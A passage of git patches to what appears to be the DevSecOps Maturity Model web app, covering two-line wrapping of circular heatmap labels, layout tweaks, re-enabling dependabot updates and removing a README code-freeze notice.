isImplemented: false - evidence: "" comments: "" tags: - none @@ -8426,9 +13299,7 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/Creation%20and%20application%20of%20a%20testing%20concept - isImplemented: false - evidence: "" comments: "" tags: - none -... \ No newline at end of file +... From 144b50f749810f9d45009b947e8c7cc7a4b68505 Mon Sep 17 00:00:00 2001 From: sawankshrma Date: Tue, 18 Aug 2026 17:39:40 +0530 Subject: [PATCH 09/12] feat(heatmap): word-wrap long segment labels across two arc lines Split dimension labels exceeding 18 characters at the nearest word boundary and render them on two concentric arcs (outer for line 1, inner for line 2). Short labels stay on the inner arc close to the chart. Replaces the single-line rendering with a forEach loop that only creates DOM elements for lines with actual content. --- .../circular-heatmap.component.ts | 68 ++++++++++++++----- 1 file changed, 50 insertions(+), 18 deletions(-) diff --git a/src/app/pages/circular-heatmap/circular-heatmap.component.ts b/src/app/pages/circular-heatmap/circular-heatmap.component.ts index c2e83c620..dc7ab0669 100644 --- a/src/app/pages/circular-heatmap/circular-heatmap.component.ts +++ b/src/app/pages/circular-heatmap/circular-heatmap.component.ts @@ -460,10 +460,10 @@ export class CircularHeatmapComponent implements OnInit, OnDestroy { // console.log(d3.selectAll(".circular-heat")["_groups"][0].length) var id = 1; - //Segment labels var segmentLabelFontSize = (segmentLabelHeight * 2) / 3; var segmentLabelOffset = (segmentLabelHeight * 1) / 3; - var r = + var labelLineHeight = segmentLabelFontSize * 1.2; + var labelBaseRadius = innerRadius + Math.ceil(data.length / numSegments) * segmentHeight + segmentLabelOffset; var labels = svg .append('g') @@ -474,27 +474,59 @@ export class CircularHeatmapComponent implements OnInit, OnDestroy { 'translate(' + (margin.left + offset) + ',' + (margin.top + offset) + ')' ); + function wordWrap(text: string, maxLen = 18): string[] { + if (text.length <= maxLen) return [text]; + var mid = Math.floor(text.length / 2); + for (var d = 0; d <= mid; d++) { + if (text[mid + d] === ' ') + return [text.substring(0, mid + d), text.substring(mid + d + 1)]; + if (mid - d >= 0 && text[mid - d] === ' ') + return [text.substring(0, mid - d), text.substring(mid - d + 1)]; + } + return [text]; + } + + var wrappedLabels = segmentLabels.map((l: string) => wordWrap(l)); + var hasMultiLine = wrappedLabels.some((parts: string[]) => parts.length > 1); + var outerLabelRadius = hasMultiLine ? labelBaseRadius + labelLineHeight : labelBaseRadius; + + function arcPath(radius: number): string { + return 'm0 -' + radius + ' a' + radius + ' ' + radius + ' 0 1 1 -1 0'; + } + + var labelPathIds = ['segment-label-path-' + id + '-outer']; labels .append('def') .append('path') - .attr('id', 'segment-label-path-' + id) - .attr('d', 'm0 -' + r + ' a' + r + ' ' + r + ' 0 1 1 -1 0'); + .attr('id', labelPathIds[0]) + .attr('d', arcPath(outerLabelRadius)); + + if (hasMultiLine) { + labelPathIds.push('segment-label-path-' + id + '-inner'); + labels + .append('def') + .append('path') + .attr('id', labelPathIds[1]) + .attr('d', arcPath(labelBaseRadius)); + } - labels - .selectAll('text') - .data(segmentLabels) - .enter() - .append('text') - .append('textPath') - .attr('text-anchor', 'middle') - .attr('xlink:href', '#segment-label-path-' + id) - .style('font-size', segmentLabelFontSize + 'px') - .attr('startOffset', function (d, i) { - return ((i + 0.5) * 100) / numSegments + '%'; // shift ½ segment to center - }) - .text(function (d: any) { - return d; + wrappedLabels.forEach(function (parts: string[], i: number) { + var startOffset = ((i + 0.5) * 100) / numSegments + '%'; + parts.forEach(function (line: string, lineIndex: number) { + var pathId = + lineIndex === 0 && parts.length > 1 + ? labelPathIds[0] + : labelPathIds[hasMultiLine ? 1 : 0]; + labels + .append('text') + .append('textPath') + .attr('text-anchor', 'middle') + .attr('xlink:href', '#' + pathId) + .style('font-size', segmentLabelFontSize + 'px') + .attr('startOffset', startOffset) + .text(line); }); + }); var cursors = svg .append('g') .classed('cursors', true) From 0ffe0eab7dd8a7998028dc5b308fabbf27d95b56 Mon Sep 17 00:00:00 2001 From: vbakke Date: Tue, 18 Aug 2026 22:40:44 +0200 Subject: [PATCH 10/12] Fixed clip-off. Adjusted control variables --- src/app/app.component.css | 2 +- .../circular-heatmap/circular-heatmap.component.ts | 13 +++++++------ 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/app/app.component.css b/src/app/app.component.css index d9d39268b..ecf6deb62 100644 --- a/src/app/app.component.css +++ b/src/app/app.component.css @@ -76,7 +76,7 @@ } .content { - padding: 24px; + padding: 12px; animation: fadeSlide 1s ease; height: 100%; box-sizing: border-box; diff --git a/src/app/pages/circular-heatmap/circular-heatmap.component.ts b/src/app/pages/circular-heatmap/circular-heatmap.component.ts index c2e83c620..554d1651b 100644 --- a/src/app/pages/circular-heatmap/circular-heatmap.component.ts +++ b/src/app/pages/circular-heatmap/circular-heatmap.component.ts @@ -310,7 +310,7 @@ export class CircularHeatmapComponent implements OnInit, OnDestroy { ) { let _self = this; var imageWidth = 1200; - var marginAll = 5; + var marginAll = 0; var margin = { top: marginAll, right: marginAll, @@ -318,7 +318,7 @@ export class CircularHeatmapComponent implements OnInit, OnDestroy { left: marginAll, }; var bbWidth = imageWidth - Math.max(margin.left + margin.right, margin.top + margin.bottom) * 2; // bounding box - var segmentLabelHeight = bbWidth * 0.0166; // Magic fudge number. to match the longest label within one sector + var segmentLabelHeight = 42; var outerRadius = bbWidth / 2 - segmentLabelHeight; var innerRadius = outerRadius / (maxLevel + 1); var segmentHeight = (outerRadius - innerRadius) / maxLevel; @@ -460,10 +460,11 @@ export class CircularHeatmapComponent implements OnInit, OnDestroy { // console.log(d3.selectAll(".circular-heat")["_groups"][0].length) var id = 1; - //Segment labels - var segmentLabelFontSize = (segmentLabelHeight * 2) / 3; - var segmentLabelOffset = (segmentLabelHeight * 1) / 3; - var r = + var segmentLabelOffset = 7; + var labelLineSpacing = 1.1; + var labelLineHeight = (segmentLabelHeight - segmentLabelOffset) / 2; + var segmentLabelFontSize = labelLineHeight / labelLineSpacing; + var labelBaseRadius = innerRadius + Math.ceil(data.length / numSegments) * segmentHeight + segmentLabelOffset; var labels = svg .append('g') From 021b495742c96c342b39156d2b2af94db35fab44 Mon Sep 17 00:00:00 2001 From: Timo Pagel Date: Wed, 19 Aug 2026 12:14:38 +0200 Subject: [PATCH 11/12] Update dependabot.yml --- .github/dependabot.yml | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/.github/dependabot.yml b/.github/dependabot.yml index f47cb703a..9060b7d91 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -3,13 +3,13 @@ # Please see the documentation for all configuration options: # https://docs.github.com/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file -# version: 2 -# updates: -# - package-ecosystem: "npm" -# directory: "/" -# schedule: -# interval: "weekly" -# - package-ecosystem: "docker" -# directory: "/" -# schedule: -# interval: "weekly" +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + - package-ecosystem: "docker" + directory: "/" + schedule: + interval: "weekly" From 840eae99977670a05d5081bc8c471a8c7ef152c6 Mon Sep 17 00:00:00 2001 From: Timo Pagel Date: Wed, 19 Aug 2026 12:15:12 +0200 Subject: [PATCH 12/12] rm freeze --- README.md | 3 --- 1 file changed, 3 deletions(-) diff --git a/README.md b/README.md index 8e8a235b9..0e309d1f3 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,3 @@ -# CODE FREEZE -Due to a version update of Angular from 13 to the newest version, no features/PRs are getting merged until *August 2026*. - # Introduction From a startup to a multinational corporation the software development industry is currently dominated by agile frameworks and product teams and as part of it DevOps strategies. It has been observed that during the implementation, security aspects are usually neglected or are at least not sufficient taken account of. It is often the case that standard safety requirements of the production environment are not utilized or applied to the build pipeline in the continuous integration environment with containerization or concrete docker. Therefore, the docker registry is often not secured which might result in the theft of the entire company’s source code.